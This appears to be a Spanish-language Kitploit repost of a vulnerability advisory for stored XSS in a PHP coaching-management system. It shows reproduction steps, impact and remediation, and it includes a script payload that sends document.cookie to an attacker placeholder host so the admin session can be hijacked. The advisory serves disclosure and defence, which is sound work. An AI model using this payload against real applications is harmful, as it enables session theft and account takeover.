¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
CVE-2026-7222-XSS — Exploit de prueba de concepto para XSS almacenado (CWE-79) en un sistema de gestión de coaching en PHP, que demuestra secuestro de sesión y escalada de privilegios de estudiante a administrador mediante robo de cookies. | Kitploit
Exploit de prueba de concepto para XSS almacenado (CWE-79) en un sistema de gestión de coaching en PHP, que demuestra secuestro de sesión y escalada de privilegios de estudiante a administrador mediante robo de cookies.
/modules/admin/incomingcomplaint.php (Visualización de Quejas)
Funcionalidad de Respuesta a Quejas (Admin/Profesor → Estudiante)
Versión
Desconocida (El proveedor no proporcionó información de versión; probado en la última versión disponible de Code-Projects.org a partir de abril de 2026)
Tipo de Vulnerabilidad
CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de la Página Web (Cross-Site Scripting Almacenado)
Descripción
La aplicación no sanea adecuadamente la entrada proporcionada por el usuario en la funcionalidad de quejas y respuestas. El JavaScript malicioso inyectado por un usuario con privilegios bajos se almacena y se ejecuta cuando lo ven usuarios con privilegios más altos, como administradores o profesores.
Además, la funcionalidad de respuesta también es vulnerable, lo que permite a los administradores o profesores inyectar JavaScript que se ejecuta en las sesiones de los estudiantes.
Esto da como resultado una vulnerabilidad de XSS almacenado que afecta a múltiples roles de usuario.
Pasos para Reproducir
Caso 1: Estudiante → Admin (Escalada de Privilegios)
Iniciar sesión como Estudiante
Navegar a:
/modules/student/complaint.php
Enviar una queja con el siguiente payload:
root@kitploit:~
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
Iniciar sesión como Admin
Navegar a:
/modules/admin/incomingcomplaint.php
Cuando el admin ve la queja, el payload se ejecuta automáticamente
La cookie de sesión del admin se envía al servidor controlado por el atacante
Usar la cookie de sesión robada para secuestrar la sesión del admin
Caso 2: Admin → Estudiante (XSS Inverso)
Iniciar sesión como Admin
Responder a una queja usando el payload:
root@kitploit:~
Iniciar sesión como Estudiante
Ver la respuesta a la queja
Evidencia de Prueba de Concepto
Ejecución de JavaScript confirmada en el panel de administración al ver la queja maliciosa
Cookie de sesión (PHPSESSID) exfiltrada con éxito mediante un servidor controlado por el atacante
Sesión de administrador secuestrada usando la cookie robada
Ejecución de JavaScript confirmada en el panel de estudiante mediante la funcionalidad de respuesta
Impacto
Los usuarios con privilegios bajos (estudiantes) pueden ejecutar JavaScript arbitrario en el contexto del administrador
Conduce al secuestro de sesión debido a la ausencia de la bandera HttpOnly
Toma de control total de la cuenta administrativa
El XSS bidireccional permite comprometer múltiples roles (Admin, Profesor, Estudiante)
Compromiso total de la integridad, confidencialidad y disponibilidad de la aplicación
Severidad: CRÍTICA
Causa Raíz
Falta de saneamiento de entradas
Ausencia de codificación de salidas
Controles de seguridad ausentes en las cookies de sesión (bandera HttpOnly no establecida)
Recomendación
Sanear y validar todas las entradas del usuario.
Codificar las salidas usando funciones como htmlspecialchars() en PHP
Establecer las banderas HttpOnly y Secure en las cookies de sesión
Implementar una Política de Seguridad de Contenido (CSP)